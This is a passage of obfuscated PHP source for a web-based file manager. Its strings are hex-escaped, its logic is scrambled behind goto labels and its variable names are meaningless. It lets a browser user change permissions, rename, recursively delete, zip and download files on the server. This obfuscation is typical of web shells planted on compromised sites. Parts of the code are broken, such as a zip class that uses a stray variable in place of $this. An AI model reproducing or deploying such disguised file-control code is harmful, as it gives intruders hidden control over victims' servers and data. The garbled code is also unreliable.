"\57" . $ww)) { $ssssssss = false; } } } } return $ssssssss; } elseif (is_file($iii)) { return fm_copy($iii, $zzzz, $vvvvvvvv); } return false; } goto qrOIv; Zn7Sx: $z = ''; goto E2R6F; cM_sN: if (defined("\x46\x4d\x5f\105\x4d\x42\105\x44")) { $c = false; $dd = false; } else { @set_time_limit(600); date_default_timezone_set($q); ini_set("\144\145\x66\141\165\x6c\x74\137\143\x68\x61\162\x73\145\x74", "\125\124\106\55\70"); if (version_compare(PHP_VERSION, "\65\56\66\x2e\x30", "\x3c") && function_exists("\x6d\x62\137\151\156\164\x65\162\156\x61\154\137\x65\x6e\x63\157\x64\x69\x6e\x67")) { mb_internal_encoding("\125\x54\x46\x2d\70"); } if (function_exists("\x6d\x62\137\x72\x65\147\145\x78\137\x65\x6e\x63\x6f\144\151\156\147")) { mb_regex_encoding("\x55\124\x46\x2d\70"); } session_cache_limiter(''); session_name(FM_SESSION_ID); function session_error_handling_function($uu, $vv, $ww, $xx) { if ($uu == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler("\x73\x65\x73\163\x69\x6f\156\x5f\x65\x72\162\157\162\x5f\150\x61\156\144\x6c\x69\156\147\x5f\x66\x75\156\x63\x74\151\157\156"); session_start(); restore_error_handler(); } goto q2C33; OBCig: ?>
<form method="post"action=""class="pt-3"><input name="p"type="hidden"value="<?php  goto DERtn; xynJp: class FM_Zipper { private $xxxxxxxxxx; public function __construct() { $yyyyyyyyyy->zip = new ZipArchive(); } public function create($vvvvv, $lllll) { $aaaa = $yyyyyyyyyy->zip->open($vvvvv, ZipArchive::CREATE); if ($aaaa !== true) { return false; } if (is_array($lllll)) { foreach ($lllll as $mmmmm) { $mmmmm = fm_clean_path($mmmmm); if (!$yyyyyyyyyy->addFileOrDir($mmmmm)) { $yyyyyyyyyy->zip->close(); return false; } } $yyyyyyyyyy->zip->close(); return true; } else { if ($yyyyyyyyyy->addFileOrDir($lllll)) { $yyyyyyyyyy->zip->close(); return true; } return false; } } public function unzip($vvvvv, $iii) { $aaaa = $yyyyyyyyyy->zip->open($vvvvv); if ($aaaa !== true) { return false; } if ($yyyyyyyyyy->zip->extractTo($iii)) { $yyyyyyyyyy->zip->close(); return true; } return false; } private function addFileOrDir($vvvvv) { if (is_file($vvvvv)) { return $yyyyyyyyyy->zip->addFile($vvvvv); } elseif (is_dir($vvvvv)) { return $yyyyyyyyyy->addDir($vvvvv); } return false; } private function addDir($iii) { if (!$yyyyyyyyyy->zip->addEmptyDir($iii)) { return false; } $rrrrrr = scandir($iii); if (is_array($rrrrrr)) { foreach ($rrrrrr as $ww) { if ($ww != "\x2e" && $ww != "\56\x2e") { if (is_dir($iii . "\57" . $ww)) { if (!$yyyyyyyyyy->addDir($iii . "\x2f" . $ww)) { return false; } } elseif (is_file($iii . "\57" . $ww)) { if (!$yyyyyyyyyy->zip->addFile($iii . "\57" . $ww)) { return false; } } } } return true; } return false; } } goto daPQk; Vef7I: if (isset($_POST["\x63\x68\x6d\x6f\x64"], $_POST["\164\157\153\145\156"]) && !FM_READONLY && !FM_IS_WIN) { if (!verifyToken($_POST["\x74\x6f\153\x65\x6e"])) { fm_set_msg(lng("\x49\x6e\166\141\154\x69\144\40\124\x6f\153\x65\x6e\56"), "\x65\162\162\x6f\x72"); } $iii = FM_ROOT_PATH; if (FM_PATH != '') { $iii .= "\x2f" . FM_PATH; } $ww = $_POST["\x63\150\x6d\157\x64"]; $ww = fm_clean_path($ww); $ww = str_replace("\x2f", '', $ww); if ($ww == '' || !is_file($iii . "\57" . $ww) && !is_dir($iii . "\57" . $ww)) { fm_set_msg(lng("\x46\151\154\145\40\156\x6f\164\40\x66\x6f\x75\156\x64"), "\145\162\x72\157\162"); $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "\77\x70\75" . urlencode($jjj)); } $pppppp = 0; if (!empty($_POST["\x75\x72"])) { $pppppp |= 256; } if (!empty($_POST["\165\167"])) { $pppppp |= 128; } if (!empty($_POST["\165\170"])) { $pppppp |= 64; } if (!empty($_POST["\147\x72"])) { $pppppp |= 32; } if (!empty($_POST["\147\x77"])) { $pppppp |= 16; } if (!empty($_POST["\x67\x78"])) { $pppppp |= 8; } if (!empty($_POST["\x6f\x72"])) { $pppppp |= 4; } if (!empty($_POST["\157\167"])) { $pppppp |= 2; } if (!empty($_POST["\157\x78"])) { $pppppp |= 1; } if (@chmod($iii . "\x2f" . $ww, $pppppp)) { fm_set_msg(lng("\x50\145\x72\155\x69\x73\163\151\157\x6e\x73\40\x63\x68\141\156\147\145\144")); } else { fm_set_msg(lng("\x50\145\x72\x6d\x69\163\163\x69\x6f\x6e\x73\x20\156\x6f\164\x20\x63\150\141\156\x67\x65\x64"), "\x65\x72\x72\157\162"); } $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "\x3f\x70\75" . urlencode($jjj)); } goto SWRGf; Vpyvh: if (isset($_POST["\162\x65\156\141\155\x65\x5f\x66\x72\x6f\x6d"], $_POST["\162\x65\156\141\x6d\145\137\164\x6f"], $_POST["\x74\157\153\x65\x6e"]) && !FM_READONLY) { if (!verifyToken($_POST["\x74\157\x6b\145\x6e"])) { fm_set_msg("\111\x6e\166\x61\154\151\144\x20\124\157\x6b\x65\156\56", "\x65\162\162\x6f\162"); } $nnnnn = urldecode($_POST["\162\145\156\x61\155\145\137\146\162\x6f\155"]); $nnnnn = fm_clean_path($nnnnn); $nnnnn = str_replace("\x2f", '', $nnnnn); $wwww = urldecode($_POST["\x72\145\156\141\155\x65\x5f\x74\157"]); $wwww = fm_clean_path(strip_tags($wwww)); $wwww = str_replace("\x2f", '', $wwww); $iii = FM_ROOT_PATH; if (FM_PATH != '') { $iii .= "\57" . FM_PATH; } if (fm_isvalid_filename($wwww) && $nnnnn != '' && $wwww != '') { if (fm_rename($iii . "\57" . $nnnnn, $iii . "\x2f" . $wwww)) { fm_set_msg(sprintf(lng("\122\x65\x6e\x61\155\x65\x64\40\146\162\x6f\x6d") . "\40\x3c\x62\76\45\163\x3c\57\x62\x3e\40" . lng("\164\x6f") . "\x20\x3c\142\76\45\163\x3c\x2f\142\76", fm_enc($nnnnn), fm_enc($wwww))); } else { fm_set_msg(sprintf(lng("\105\x72\162\x6f\x72\40\x77\150\151\154\145\x20\162\x65\156\x61\x6d\x69\156\x67\40\146\x72\157\x6d") . "\x20\x3c\x62\x3e\x25\x73\x3c\x2f\142\76\x20" . lng("\164\157") . "\x20\74\x62\76\45\x73\74\x2f\x62\x3e", fm_enc($nnnnn), fm_enc($wwww)), "\145\x72\162\157\162"); } } else { fm_set_msg(lng("\x49\156\166\141\x6c\151\144\40\x63\150\x61\x72\141\x63\164\145\162\x73\40\151\156\x20\146\x69\x6c\145\x20\156\x61\155\x65"), "\x65\x72\x72\x6f\162"); } $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "\77\160\x3d" . urlencode($jjj)); } goto GxZjv; q2C33: if (empty($_SESSION["\x74\157\153\145\x6e"])) { $_SESSION["\x74\157\x6b\145\x6e"] = bin2hex(random_bytes(32)); } goto La6PN; OU9nx: defined("\x46\x4d\137\x4c\x41\116\x47") || define("\x46\x4d\137\x4c\x41\116\107", $oo); goto N_Vj9; GnpeX: defined("\x46\x4d\137\x55\123\x45\x5f\110\111\107\x48\x4c\111\107\x48\x54\x4a\x53") || define("\106\x4d\137\125\123\x45\x5f\x48\111\107\110\114\x49\x47\x48\124\112\x53", $m); goto wk_xp; IBHil: ?>
"> <input name="group"type="hidden"value="1"> <input name="token"type="hidden"value="<?php  goto s07eU; b5huQ: ?>
<th><?php  goto m0yiT; jkNtT: function fm_isvalid_filename($eeeeeeeeee) { return strpbrk($eeeeeeeeee, "\57\77\x25\x2a\72\x7c\42\74\x3e") === FALSE ? true : false; } goto lrpek; cTX92: function verifyToken($rrrrrrrr) { if (hash_equals($_SESSION["\164\x6f\x6b\145\x6e"], $rrrrrrrr)) { return true; } return false; } goto a6Ulc; x21Bt: $tt = array("\x65\156" => "\105\x6e\x67\x6c\151\163\x68"); goto SWla_; JXI28: if (isset($_GET["\x63\150\155\x6f\x64"]) && !FM_READONLY && !FM_IS_WIN) { $ww = $_GET["\x63\x68\x6d\157\144"]; $ww = fm_clean_path($ww); $ww = str_replace("\57", '', $ww); if ($ww == '' || !is_file($iii . "\x2f" . $ww) && !is_dir($iii . "\x2f" . $ww)) { fm_set_msg(lng("\x46\151\x6c\x65\x20\156\x6f\164\x20\x66\x6f\165\156\x64"), "\145\162\x72\x6f\162"); $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "\x3f\160\x3d" . urlencode($jjj)); } fm_show_header(); fm_show_nav_path(FM_PATH); $bbbbbbb = FM_ROOT_URL . (FM_PATH != '' ? "\57" . FM_PATH : '') . "\57" . $ww; $kkk = $iii . "\x2f" . $ww; $pppppp = fileperms($iii . "\x2f" . $ww); ?>
<div class="path"><div class="card mb-2<?php  echo fm_get_theme(); ?>
"><h6 class="card-header"><?php  echo lng("\x43\150\141\156\147\145\x50\x65\x72\155\x69\x73\163\x69\x6f\156\x73"); ?>
</h6><div class="card-body"><p class="card-text">Full path:<?php  echo $kkk; ?>
<br></p><form method="post"action=""><input name="p"type="hidden"value="<?php  echo fm_enc(FM_PATH); ?>
"> <input name="chmod"type="hidden"value="<?php  echo fm_enc($ww); ?>
"><table class="table compact-table<?php  echo fm_get_theme(); ?>
"><tr><td></td><td><b><?php  echo lng("\x4f\167\156\145\x72"); ?>
</b></td><td><b><?php  echo lng("\107\162\157\165\160"); ?>
</b></td><td><b><?php  echo lng("\x4f\x74\150\145\162"); ?>
</b></td></tr><tr><td style="text-align:right"><b><?php  echo lng("\122\145\141\144"); ?>
</b></td><td><label><input name="ur"type="checkbox"value="1"<?php  echo $pppppp & 256 ? "\x20\143\150\x65\x63\153\145\144" : ''; ?>
></label></td><td><label><input name="gr"type="checkbox"value="1"<?php  echo $pppppp & 32 ? "\40\x63\150\x65\x63\153\x65\x64" : ''; ?>
></label></td><td><label><input name="or"type="checkbox"value="1"<?php  echo $pppppp & 4 ? "\x20\143\150\x65\x63\x6b\145\x64" : ''; ?>
></label></td></tr><tr><td style="text-align:right"><b><?php  echo lng("\127\x72\151\x74\x65"); ?>
</b></td><td><label><input name="uw"type="checkbox"value="1"<?php  echo $pppppp & 128 ? "\40\143\150\145\x63\x6b\145\x64" : ''; ?>
></label></td><td><label><input name="gw"type="checkbox"value="1"<?php  echo $pppppp & 16 ? "\40\x63\x68\145\x63\153\145\144" : ''; ?>
></label></td><td><label><input name="ow"type="checkbox"value="1"<?php  echo $pppppp & 2 ? "\x20\x63\150\x65\x63\153\x65\144" : ''; ?>
></label></td></tr><tr><td style="text-align:right"><b><?php  echo lng("\x45\170\145\143\165\164\x65"); ?>
</b></td><td><label><input name="ux"type="checkbox"value="1"<?php  echo $pppppp & 64 ? "\x20\143\x68\x65\143\x6b\145\144" : ''; ?>
></label></td><td><label><input name="gx"type="checkbox"value="1"<?php  echo $pppppp & 8 ? "\40\143\x68\x65\x63\153\x65\x64" : ''; ?>
></label></td><td><label><input name="ox"type="checkbox"value="1"<?php  echo $pppppp & 1 ? "\40\x63\150\145\x63\x6b\x65\144" : ''; ?>
></label></td></tr></table><p><input name="token"type="hidden"value="<?php  echo $_SESSION["\164\157\x6b\145\156"]; ?>
"> <b><a href="?p=<?php  echo urlencode(FM_PATH); ?>
"class="btn btn-outline-primary"><i class="fa fa-times-circle"></i><?php  echo lng("\103\141\x6e\143\x65\x6c"); ?>
</a></b><button class="btn btn-success"type="submit"><i class="fa fa-check-circle"></i><?php  echo lng("\103\x68\141\156\x67\x65"); ?>
</button></p></form></div></div></div><?php  fm_show_footer(); die; } goto uLSrG; mRCcQ: function fm_get_text_mimes() { return array("\141\x70\x70\154\151\143\141\x74\151\157\156\x2f\170\x6d\x6c", "\x61\160\160\x6c\151\143\141\x74\x69\157\x6e\x2f\x6a\x61\x76\141\163\143\x72\x69\160\x74", "\x61\160\160\x6c\x69\x63\x61\164\151\x6f\x6e\57\170\x2d\152\141\x76\x61\163\x63\x72\x69\x70\164", "\x69\155\x61\147\145\x2f\x73\166\147\53\x78\155\x6c", "\x6d\x65\163\163\x61\147\145\x2f\162\x66\143\70\62\x32", "\141\160\x70\x6c\x69\x63\141\164\151\x6f\x6e\57\x6a\163\x6f\156"); } goto EufSw; dxK5N: defined("\106\115\x5f\122\117\x4f\x54\x5f\125\122\114") || define("\106\115\x5f\122\117\117\124\137\125\x52\x4c", ($yy ? "\x68\x74\x74\160\x73" : "\150\x74\164\x70") . "\x3a\x2f\57" . $t . (!empty($s) ? "\57" . $s : '')); goto xFGMU; GLSgT: $g = array("\165\163\145\x72"); goto I2sq3; IocCO: ?>
"><div class="table-responsive"><table class="table table-bordered table-hover table-sm<?php  goto kjRbk; Y8p1N: function fm_download_file($oooooooooo, $ooo, $pppppppppp = 1024) { if (connection_status() != 0) { return false; } $iiiiiiiiii = pathinfo($ooo, PATHINFO_EXTENSION); $qqqqqqqqqq = fm_get_file_mimes($iiiiiiiiii); if (is_array($qqqqqqqqqq)) { $qqqqqqqqqq = implode("\40", $qqqqqqqqqq); } $rrrrrrrrr = filesize($oooooooooo); if ($rrrrrrrrr == 0) { fm_set_msg(lng("\x5a\x65\x72\157\40\x62\171\x74\145\40\146\x69\154\145\x21\40\x41\x62\157\162\x74\x69\x6e\147\x20\144\157\x77\156\x6c\x6f\141\144"), "\x65\x72\162\x6f\x72"); $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "\x3f\x70\75" . urlencode($jjj)); return false; } @ini_set("\155\141\147\x69\x63\137\161\165\x6f\164\x65\x73\x5f\162\165\x6e\164\x69\155\145", 0); $pppp = fopen("{$oooooooooo}", "\x72\142"); if ($pppp === false) { fm_set_msg(lng("\x43\x61\x6e\156\157\164\x20\157\x70\145\x6e\x20\x66\151\154\x65\x21\x20\x41\142\x6f\162\x74\x69\x6e\x67\x20\x64\x6f\x77\156\x6c\x6f\141\x64"), "\145\x72\x72\157\x72"); $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "\77\160\x3d" . urlencode($jjj)); return false; } header("\103\157\x6e\x74\x65\156\164\55\104\145\x73\x63\x72\x69\x70\x74\x69\157\156\72\40\106\151\x6c\145\x20\124\x72\x61\x6e\163\146\145\162"); header("\105\170\160\151\x72\145\x73\x3a\x20\60"); header("\x43\141\x63\150\x65\55\103\x6f\x6e\x74\162\157\154\x3a\x20\x6d\165\163\164\55\162\145\x76\x61\x6c\x69\x64\x61\x74\x65\54\40\160\157\163\x74\55\143\150\145\x63\x6b\x3d\x30\x2c\x20\160\162\x65\55\143\x68\x65\x63\153\x3d\x30"); header("\120\x72\x61\147\155\x61\x3a\x20\x70\x75\x62\x6c\151\143"); header("\x43\157\156\164\x65\x6e\x74\55\124\x72\141\x6e\163\146\x65\162\x2d\105\x6e\143\157\144\151\156\147\x3a\x20\142\x69\156\141\162\171"); header("\103\157\x6e\x74\x65\156\164\55\x54\171\x70\145\x3a\x20{$qqqqqqqqqq}"); $rrrrrrrrrr = "\x61\x74\x74\141\x63\150\x6d\145\x6e\164"; if (strstr($_SERVER["\x48\x54\x54\120\137\x55\x53\x45\x52\x5f\101\x47\x45\116\x54"], "\x4d\x53\x49\x45")) { $ooo = preg_replace("\57\134\56\57", "\x25\62\x65", $ooo, substr_count($ooo, "\56") - 1); header("\x43\x6f\x6e\x74\145\156\164\x2d\x44\x69\163\x70\x6f\163\151\x74\151\157\156\72\40{$rrrrrrrrrr}\x3b\x66\151\154\x65\x6e\x61\x6d\145\75\x22{$ooo}\42"); } else { header("\103\x6f\156\x74\x65\156\x74\55\x44\151\163\160\157\x73\151\x74\x69\157\156\x3a\40{$rrrrrrrrrr}\73\x66\151\154\145\156\141\x6d\145\x3d\x22{$ooo}\x22"); } header("\x41\x63\143\x65\160\164\x2d\122\141\x6e\147\145\163\72\x20\x62\x79\x74\145\x73"); $ssssssssss = 0; if (isset($_SERVER["\x48\x54\124\120\x5f\x52\x41\x4e\107\105"])) { list($tttttttttt, $ssssssssss) = explode("\x3d", $_SERVER["\x48\x54\124\120\137\x52\x41\116\x47\x45"]); str_replace($ssssssssss, "\55", $ssssssssss); $uuuuuuuuuu = $rrrrrrrrr - 1; $vvvvvvvvvv = $rrrrrrrrr - $ssssssssss; header("\110\124\x54\120\x2f\x31\x2e\61\x20\x32\x30\66\40\120\x61\x72\x74\151\141\x6c\x20\x43\157\x6e\x74\x65\156\x74"); header("\103\x6f\x6e\x74\x65\156\x74\x2d\x4c\145\x6e\147\x74\150\x3a\x20{$vvvvvvvvvv}"); header("\x43\157\x6e\x74\145\x6e\164\x2d\122\141\x6e\x67\x65\72\40\142\171\164\x65\163\40{$ssssssssss}{$uuuuuuuuuu}\x2f{$rrrrrrrrr}"); } else { $uuuuuuuuuu = $rrrrrrrrr - 1; header("\x43\x6f\x6e\164\145\156\164\x2d\122\x61\x6e\147\x65\x3a\40\x62\x79\164\145\163\x20\x30\55{$uuuuuuuuuu}\57{$rrrrrrrrr}"); header("\103\157\x6e\x74\145\x6e\x74\55\114\x65\x6e\147\164\x68\x3a\40" . $rrrrrrrrr); } $oooooooooo = realpath($oooooooooo); while (ob_get_level()) { ob_end_clean(); } readfile($oooooooooo); fclose($pppp); return connection_status() == 0 and !connection_aborted(); } goto MKCxQ; AoWtK: function fm_get_file_icon_class($iii) { $mmmm = strtolower(pathinfo($iii, PATHINFO_EXTENSION)); switch ($mmmm) { case "\151\x63\157": case "\147\151\146": case "\152\x70\x67": case "\152\x70\x65\147": case "\152\x70\x63": case "\152\160\62": case "\152\160\170": case "\x78\x62\155": case "\x77\x62\155\x70": case "\x70\156\147": case "\142\x6d\160": case "\x74\151\146": case "\164\151\x66\146": case "\x77\x65\142\160": case "\x61\166\x69\x66": case "\163\166\x67": $gggggggg = "\146\141\x20\146\x61\55\x70\x69\x63\164\x75\x72\145\x2d\157"; break; case "\160\x61\163\x73\167\144": case "\x66\x74\160\161\x75\157\164\141": case "\x73\x71\x6c": case "\152\x73": case "\164\x73": case "\152\x73\x78": case "\x74\x73\x78": case "\x68\x62\163": case "\x6a\163\x6f\156": case "\163\x68": case "\x63\x6f\156\146\151\x67": case "\x74\167\151\147": case "\164\160\x6c": case "\155\x64": case "\147\x69\164\x69\147\156\x6f\x72\x65": case "\143": case "\x63\x70\160": case "\x63\163": case "\x70\171": case "\x72\x73": case "\155\141\x70": case "\154\157\143\153": case "\x64\164\144": $gggggggg = "\x66\141\40\x66\x61\x2d\146\151\x6c\x65\55\x63\157\144\x65\x2d\157"; break; case "\164\x78\x74": case "\x69\x6e\151": case "\143\x6f\156\146": case "\154\x6f\147": case "\x68\x74\x61\x63\x63\145\163\x73": case "\171\141\x6d\154": case "\171\155\x6c": case "\x74\x6f\155\x6c": case "\164\155\160": case "\x74\157\160": case "\142\157\164": case "\x64\141\x74": case "\x62\141\153": case "\x68\164\x70\141\x73\163\167\x64": case "\x70\x6c": $gggggggg = "\x66\141\x20\x66\x61\x2d\x66\x69\154\x65\55\x74\145\170\164\x2d\157"; break; case "\x63\163\163": case "\154\x65\x73\163": case "\x73\141\x73\x73": case "\163\143\163\163": $gggggggg = "\146\x61\40\x66\x61\55\x63\163\163\63"; break; case "\x62\172\62": case "\x7a\151\x70": case "\x72\141\162": case "\147\x7a": case "\164\x61\162": case "\x37\x7a": case "\170\x7a": $gggggggg = "\x66\x61\x20\146\x61\x2d\x66\x69\154\x65\x2d\141\x72\143\150\x69\x76\145\55\x6f"; break; case "\x70\150\160": case "\160\150\160\64": case "\x70\x68\160\65": case "\x70\150\160\x73": case "\x70\150\164\155\154": $gggggggg = "\x66\x61\x20\146\141\55\x63\157\144\x65"; break; case "\x68\164\155": case "\150\164\155\154": case "\163\x68\164\x6d\x6c": case "\x78\x68\x74\x6d\x6c": $gggggggg = "\146\141\x20\146\x61\x2d\150\164\x6d\154\65"; break; case "\170\155\x6c": case "\x78\163\x6c": $gggggggg = "\146\141\x20\146\141\x2d\146\151\154\145\x2d\x65\170\x63\x65\x6c\55\157"; break; case "\167\x61\166": case "\x6d\x70\x33": case "\x6d\160\x32": case "\155\64\141": case "\x61\141\143": case "\x6f\x67\147": case "\x6f\147\x61": case "\x77\x6d\141": case "\155\x6b\x61": case "\x66\154\x61\143": case "\141\143\x33": case "\x74\x64\x73": $gggggggg = "\x66\x61\40\146\x61\55\155\165\x73\x69\x63"; break; case "\x6d\x33\x75": case "\155\x33\165\x38": case "\x70\x6c\163": case "\143\165\145": case "\x78\163\160\x66": $gggggggg = "\146\x61\x20\x66\x61\x2d\x68\145\141\144\x70\x68\157\156\145\163"; break; case "\x61\166\x69": case "\155\x70\147": case "\155\160\x65\147": case "\x6d\160\x34": case "\155\x34\x76": case "\146\154\166": case "\x66\x34\166": case "\157\x67\155": case "\x6f\x67\x76": case "\x6d\157\166": case "\x6d\x6b\166": case "\63\x67\160": case "\x61\x73\x66": case "\167\x6d\166": case "\167\145\x62\x6d": $gggggggg = "\x66\141\40\x66\141\x2d\146\x69\154\145\x2d\x76\x69\x64\x65\x6f\x2d\157"; break; case "\x65\x6d\x6c": case "\155\x73\147": $gggggggg = "\x66\x61\x20\146\x61\x2d\145\156\x76\x65\x6c\157\x70\145\x2d\x6f"; break; case "\170\x6c\163": case "\x78\154\163\170": case "\157\x64\x73": $gggggggg = "\146\141\x20\x66\141\55\146\x69\x6c\x65\x2d\145\x78\x63\x65\x6c\55\157"; break; case "\x63\x73\x76": $gggggggg = "\x66\x61\40\x66\x61\x2d\146\x69\154\145\x2d\x74\x65\170\164\x2d\x6f"; break; case "\x62\141\x6b": case "\163\167\x70": $gggggggg = "\x66\x61\x20\146\x61\55\x63\154\151\x70\142\157\x61\162\x64"; break; case "\144\157\143": case "\144\x6f\143\170": case "\157\144\x74": $gggggggg = "\x66\x61\40\x66\x61\x2d\146\151\x6c\x65\x2d\x77\x6f\x72\x64\55\157"; break; case "\160\160\164": case "\160\x70\x74\170": $gggggggg = "\x66\141\x20\x66\x61\55\146\x69\x6c\145\55\160\157\167\x65\x72\x70\157\151\156\x74\x2d\157"; break; case "\164\164\x66": case "\x74\164\x63": case "\x6f\x74\146": case "\x77\x6f\x66\146": case "\167\x6f\146\x66\x32": case "\x65\157\x74": case "\x66\157\156": $gggggggg = "\146\x61\40\146\141\x2d\146\157\156\x74"; break; case "\160\144\146": $gggggggg = "\x66\x61\x20\x66\x61\x2d\146\151\x6c\x65\x2d\160\x64\x66\55\157"; break; case "\160\163\144": case "\x61\151": case "\145\160\x73": case "\x66\x6c\x61": case "\163\167\x66": $gggggggg = "\146\x61\40\146\x61\55\x66\151\x6c\x65\x2d\151\155\x61\x67\x65\55\157"; break; case "\145\170\145": case "\155\163\151": $gggggggg = "\x66\x61\x20\146\141\55\146\x69\154\145\55\157"; break; case "\x62\141\x74": $gggggggg = "\146\x61\x20\x66\141\x2d\164\x65\x72\x6d\151\156\141\154"; break; default: $gggggggg = "\146\141\x20\x66\x61\55\x69\x6e\146\157\55\x63\x69\x72\x63\x6c\x65"; } return $gggggggg; } goto IGDHL; dHPxx: function fm_get_file_mimes($iiiiiiiiii) { $jjjjjjjjjj["\x73\x77\x66"] = "\x61\x70\160\x6c\151\x63\141\164\151\x6f\156\x2f\x78\55\x73\150\157\143\x6b\x77\x61\x76\145\55\x66\x6c\x61\163\150"; $jjjjjjjjjj["\x70\x64\146"] = "\x61\x70\160\x6c\151\x63\x61\x74\x69\x6f\x6e\57\x70\144\146"; $jjjjjjjjjj["\x65\x78\x65"] = "\x61\x70\160\x6c\x69\x63\141\x74\151\157\x6e\57\157\x63\164\145\x74\x2d\x73\x74\x72\145\141\x6d"; $jjjjjjjjjj["\x7a\x69\x70"] = "\x61\160\160\154\x69\143\141\x74\x69\x6f\156\57\x7a\151\x70"; $jjjjjjjjjj["\x64\157\x63"] = "\x61\160\160\154\x69\x63\x61\x74\x69\157\x6e\57\155\x73\x77\157\x72\144"; $jjjjjjjjjj["\170\x6c\163"] = "\141\160\x70\154\151\x63\x61\164\151\x6f\156\x2f\166\156\x64\x2e\155\x73\x2d\x65\x78\x63\145\x6c"; $jjjjjjjjjj["\160\160\164"] = "\x61\160\160\154\x69\143\x61\x74\x69\157\156\x2f\x76\156\144\x2e\x6d\x73\x2d\160\157\x77\x65\162\160\x6f\151\156\x74"; $jjjjjjjjjj["\147\x69\x66"] = "\x69\155\x61\147\x65\57\x67\x69\x66"; $jjjjjjjjjj["\160\x6e\147"] = "\151\155\141\x67\x65\57\160\x6e\147"; $jjjjjjjjjj["\152\160\x65\147"] = "\151\x6d\141\x67\145\57\152\x70\147"; $jjjjjjjjjj["\x6a\x70\147"] = "\x69\155\x61\x67\x65\x2f\152\160\x67"; $jjjjjjjjjj["\x77\x65\142\160"] = "\151\155\x61\147\145\x2f\x77\145\x62\x70"; $jjjjjjjjjj["\141\166\x69\x66"] = "\x69\x6d\x61\147\145\x2f\x61\166\151\x66"; $jjjjjjjjjj["\162\141\x72"] = "\x61\160\x70\x6c\151\143\x61\x74\x69\157\x6e\x2f\x72\x61\x72"; $jjjjjjjjjj["\162\x61"] = "\141\x75\144\151\157\57\170\55\x70\156\x2d\x72\x65\x61\154\141\165\x64\151\x6f"; $jjjjjjjjjj["\x72\141\155"] = "\x61\165\144\151\157\x2f\x78\55\160\x6e\x2d\x72\145\x61\154\x61\165\x64\x69\x6f"; $jjjjjjjjjj["\157\x67\147"] = "\141\165\144\151\x6f\57\x78\55\x70\156\55\162\x65\x61\154\141\165\x64\151\x6f"; $jjjjjjjjjj["\x77\141\x76"] = "\166\151\x64\x65\157\57\x78\x2d\155\163\x76\151\x64\x65\157"; $jjjjjjjjjj["\167\x6d\x76"] = "\x76\x69\x64\145\157\57\x78\55\x6d\163\x76\151\144\x65\x6f"; $jjjjjjjjjj["\141\166\151"] = "\166\151\x64\145\157\x2f\170\55\155\x73\166\x69\144\145\x6f"; $jjjjjjjjjj["\141\163\x66"] = "\x76\x69\144\x65\157\57\170\55\x6d\x73\x76\151\144\x65\x6f"; $jjjjjjjjjj["\144\151\166\x78"] = "\166\151\144\145\x6f\57\170\55\155\x73\x76\151\144\x65\157"; $jjjjjjjjjj["\x6d\160\x33"] = "\141\x75\144\151\x6f\57\x6d\160\145\x67"; $jjjjjjjjjj["\x6d\160\64"] = "\x61\165\144\x69\x6f\x2f\x6d\160\145\x67"; $jjjjjjjjjj["\x6d\x70\145\x67"] = "\x76\151\144\145\157\57\155\160\x65\147"; $jjjjjjjjjj["\155\x70\147"] = "\x76\151\144\145\157\x2f\155\x70\x65\147"; $jjjjjjjjjj["\155\x70\145"] = "\x76\151\x64\145\157\57\155\160\x65\x67"; $jjjjjjjjjj["\155\x6f\x76"] = "\166\x69\144\145\157\57\x71\165\151\143\x6b\x74\x69\x6d\145"; $jjjjjjjjjj["\x73\x77\146"] = "\x76\151\144\x65\x6f\57\x71\165\x69\143\x6b\164\151\x6d\x65"; $jjjjjjjjjj["\x33\x67\x70"] = "\166\151\x64\145\x6f\57\161\x75\151\143\x6b\x74\151\x6d\145"; $jjjjjjjjjj["\x6d\64\141"] = "\166\151\x64\145\x6f\57\x71\165\x69\x63\153\x74\x69\155\x65"; $jjjjjjjjjj["\x61\x61\143"] = "\x76\x69\144\145\x6f\x2f\x71\x75\x69\143\153\x74\151\155\145"; $jjjjjjjjjj["\155\63\165"] = "\x76\151\x64\x65\157\x2f\x71\165\x69\143\x6b\x74\x69\155\x65"; $jjjjjjjjjj["\x70\x68\x70"] = array("\141\x70\x70\x6c\x69\x63\141\x74\x69\157\156\x2f\x78\55\160\x68\x70"); $jjjjjjjjjj["\x68\164\155\x6c"] = array("\164\145\170\x74\x2f\x68\164\155\154"); $jjjjjjjjjj["\x74\170\x74"] = array("\164\x65\170\x74\x2f\x70\154\141\x69\156"); if (empty($jjjjjjjjjj[$iiiiiiiiii])) { $jjjjjjjjjj[$iiiiiiiiii] = array("\x61\160\160\154\151\x63\x61\164\151\157\x6e\x2f\157\143\164\145\164\55\163\164\x72\145\x61\155"); } return $jjjjjjjjjj[$iiiiiiiiii]; } goto derXu; a6Ulc: function fm_rdelete($iii) { if (is_link($iii)) { return unlink($iii); } elseif (is_dir($iii)) { $rrrrrr = scandir($iii); $ssssssss = true; if (is_array($rrrrrr)) { foreach ($rrrrrr as $ww) { if ($ww != "\56" && $ww != "\56\56") { if (!fm_rdelete($iii . "\57" . $ww)) { $ssssssss = false; } } } } return $ssssssss ? rmdir($iii) : false; } elseif (is_file($iii)) { return unlink($iii); } return false; } goto PSGf2; oK61h: if (!empty($lllll)) { natcasesort($lllll); } goto NtkMf; iECzk: ?>
</table></div><div class="row"><?php  goto uIqOk; VWMrW: $j = array(); goto lJxda; PSGf2: function fm_rchmod($iii, $tttttttt, $uuuuuuuu) { if (is_dir($iii)) { if (!chmod($iii, $uuuuuuuu)) { return false; } $rrrrrr = scandir($iii); if (is_array($rrrrrr)) { foreach ($rrrrrr as $ww) { if ($ww != "\x2e" && $ww != "\x2e\x2e") { if (!fm_rchmod($iii . "\57" . $ww, $tttttttt, $uuuuuuuu)) { return false; } } } } return true; } elseif (is_link($iii)) { return true; } elseif (is_file($iii)) { return chmod($iii, $tttttttt); } return false; } goto CERhp; KhWhP: if (!defined("\106\x4d\x5f\x53\x45\x53\x53\x49\x4f\x4e\x5f\111\104")) { define("\106\115\x5f\x53\105\123\x53\111\117\x4e\x5f\x49\104", "\x66\x69\x6c\x65\155\141\156\141\147\145\x72"); } goto XssFS; iCskO: function print_external($qqqqqqqq) { global $ll; if (!array_key_exists($qqqqqqqq, $ll)) { echo 